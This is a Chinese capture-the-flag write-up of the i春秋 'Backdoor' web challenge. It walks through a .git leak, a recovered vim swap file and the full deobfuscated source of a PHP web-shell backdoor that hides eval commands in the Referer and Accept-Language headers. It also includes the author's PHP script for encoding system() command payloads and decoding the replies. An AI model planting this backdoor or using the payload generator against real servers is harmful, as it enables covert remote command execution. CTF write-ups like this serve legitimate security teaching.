1. 程式人生 > >i春秋 “百度杯”CTF比賽 十月場 web題 Backdoor

i春秋 “百度杯”CTF比賽 十月場 web題 Backdoor

解釋 而不是 tro base href alt backdoor pri eat

0x00:

打開題目,題目中告訴我們這題是文件泄露。

技術分享圖片

0x01:

通過掃描目錄,發現可以掃到的有3個文件

index.php 
flag.php
robots.txt

但是瀏覽flag.php它告訴我們這不是真正的flag

技術分享圖片

又聯系到題目文件泄露,於是測試.swp .swo .bak等備份文件後綴均無果。最後發現是.git泄露。

我們瀏覽這個url

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/.git/

技術分享圖片

註意到這裏返回的是403(請求被拒絕),而不是404(訪問無效)。那麽這裏就可以利用git泄露的腳本下載下來源文件。

技術分享圖片

這裏使用的是rip-git.pl這個腳本,github地址:https://github.com/kost/dvcs-ripper

註:這裏用rip-git.pl下載下來的文件是可以查看它上傳github的歷史記錄的。而Githack這個工具雖然能下載文件,但是不能查看歷史記錄

查看flag.php

技術分享圖片

查看flag.php的日誌

git log flag.php

技術分享圖片

可以看到他修改了很多次flag.php這個文件,我們回查一下上一次的修改時的內容

git diff 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 flag.php

技術分享圖片

commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}

0x02:

上面那個flag還不是真正的flag,於是我們訪問flag提示的文件

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/b4ckdo0r.php

得到下面信息,查看源碼也啥都沒有:

技術分享圖片

最後測出來是.swo文件備份,我們把備份下載下來

技術分享圖片

因為打開是亂碼,我把它在下載好後,拖到我的kali虛擬機的桌面上,然後用vim打開備份文件的方式打開

vim -r .b4ckdo0r.php.swo

技術分享圖片

因為為了研究這個代碼,又沒法更改備份文件,我們用vim的復制功能把這裏面的內容復制到一個新的php文件裏面,然後放回我的windows下(因為我很喜歡用windows)

這個代碼是混淆過的,但主要看$y和$L和$v這3個變量,分別對應的是

$y = create_function //這裏去掉了字符串中的字母b

$L = 把上面的如 $c, $f等字符串變量中的“)m“給去掉

$v = create_function(‘‘, $L); 這裏是生成一個不帶參數的匿名函數,函數內容就是$L的內容。

然後運行$v()函數

根據這個邏輯解開混淆後$L的內容:

技術分享圖片

把內容打印到我們本地搭建的服務器上,然後查看源碼,並整理下就是b4ckdo0r.php源碼內容

註意:這裏一定要看源碼,因為中間有一部分"<"被當做html的標簽了,沒法完整顯示

web本來的頁面這裏的代碼很奇怪

技術分享圖片

查看源碼發現原因,是因為<被當做標簽起始了

技術分享圖片

整理後源碼如下:

<?php 
$kh="4f7f"; 
$kf="28d7"; 
function x($t,$k) { 
    $c=strlen($k); 
    $l=strlen($t); 
    $o=""; 
    for($i=0; $i<$l;) { 
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) { 
            $o.=$t{$i}^$k{$j}; 
        } 
    } 
    return $o; 
}
$r=$_SERVER; 
$rr=@$r["HTTP_REFERER"]; 
$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; 
if($rr&&$ra) { 
    $u=parse_url($rr); 
    parse_str($u["query"],$q); 
    $q=array_values($q); 
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); 
    if($q&&$m) { 
        @session_start(); 
        $s=&$_SESSION; 
        $ss="substr"; 
        $sl="strtolower"; 
        $i=$m[1][0].$m[1][1]; 
        $h=$sl($ss(md5($i.$kh),0,3)); 
        $f=$sl($ss(md5($i.$kf),0,3)); 
        $p=""; 
        for($z=1; $z<count($m[1]); $z++)
            $p.=$q[$m[2][$z]]; 
        if(strpos($p,$h)===0) { 
            $s[$i]=""; $p=$ss($p,3); 
        } 
        if(array_key_exists($i,$s)) { 
            $s[$i].=$p; 
            $e=strpos($s[$i],$f); 
            if($e) { 
                $k=$kh.$kf; 
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); 
                $o=ob_get_contents(); 
                ob_end_clean(); 
                $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); 
                @session_destroy(); 
            } 
        } 
    } 
}

解釋一下這裏的代碼(因為我比較菜,通過每一步把變量輸出,最後弄清楚搞了3個小時左右)

x($t, $k)函數是個異或函數,第一個參數和第二個參數按位對應異或,如果第二個參數全部異或了一遍,第一個還沒結束,又從第二個參數頭部從頭開始。

$rr是通過http報頭的Referer參數傳入,我們可控

$rs是通過http報頭的accept-language參數傳入,我們可控

這裏先介紹下accpet-language吧,舉個栗子

技術分享圖片

這裏的zh-CN是默認語言,之後每個值以“,(逗號)”隔開,格式為“ 語言;q=權重 ”

那麽preg_match_all這個正則所做的事,看著很復雜,我們直接把他輸出到自己服務器的web上吧

技術分享圖片

是一個二維數組,然後$i會取[1][0]和[1][1]的組合值

$h和f分別是 ($i . $kh)和($i . $kf)的md5值的前3個字符這裏算出來是675和a3e

技術分享圖片

這一段代碼會看language的語言有多少個,然後$p是以權重的小數部分值為下標,然後取Referer的url中的對應下標的參數的值的組合

這裏舉個例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]]

技術分享圖片

然後就是判斷$p這個變量前3個是不是675,後3個是不是a3e,最後我們的構造為 "675 + payload + a3e"

然後就是傳到eval函數裏面了,這裏我們要通過eval函數來讀目錄,然後查看flag

eval中用了很多編碼方式,也用到了自定的x($t, $k)這個異或函數,我們依次測試下順序,就能正確的生成我們的payload,來構造system("ls");

這裏異或的規律

a = b ^ c那麽 b = a ^ c;這是一個很簡單的規律,所以x函數即使編碼函數,也是解碼函數

最後附上我生成payload和解碼返回值的內容的php代碼

<?php

function x($t,$k) { 
    $c=strlen($k); 
    $l=strlen($t); 
    $o=""; 
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) { 
            $o.= $t{$i} ^ $k{$j}; 
        } 
    } 
    return $o; 
}

function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, ‘4f7f28d7‘);
    $str = gzuncompress($str);
    echo $str . "<br>";
}

function input($cmd){
    $str = ‘system("‘ . $cmd . ‘");‘;
    $t1 = gzcompress($str);
    echo ‘$t1 = ‘ . $t1 . "<br>";
    $t2 = x($t1, ‘4f7f28d7‘);
    echo ‘$t2 = ‘ . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo ‘$t3 = ‘ . $t3 . "<br>";
    return $t3;
}

$ra=‘zh-CN,zh;q=0.0‘;
input(‘ls‘);
//get_answer(‘‘);

?>

把命令輸入input裏面,運行這個php腳本就會生成ls命令的payload,而我們accep-language所填內容為 ‘zh-CN,zh;q=0.0‘

技術分享圖片

於是我們第一次的payload為:

技術分享圖片

將返回內容填到我們的腳本中,生成解碼後的內容

技術分享圖片

然後生成cat this_i5_flag.php的payload,最後flag在源碼中

技術分享圖片

技術分享圖片

註:這裏我審計代碼的時候是采用比較笨的方法,因為源碼我們下載了下來,那麽我麽就可以任意修改,我是把每個地方有值的變化,就直接輸出出來,方便更加透徹的理解流程。

i春秋 “百度杯”CTF比賽 十月場 web題 Backdoor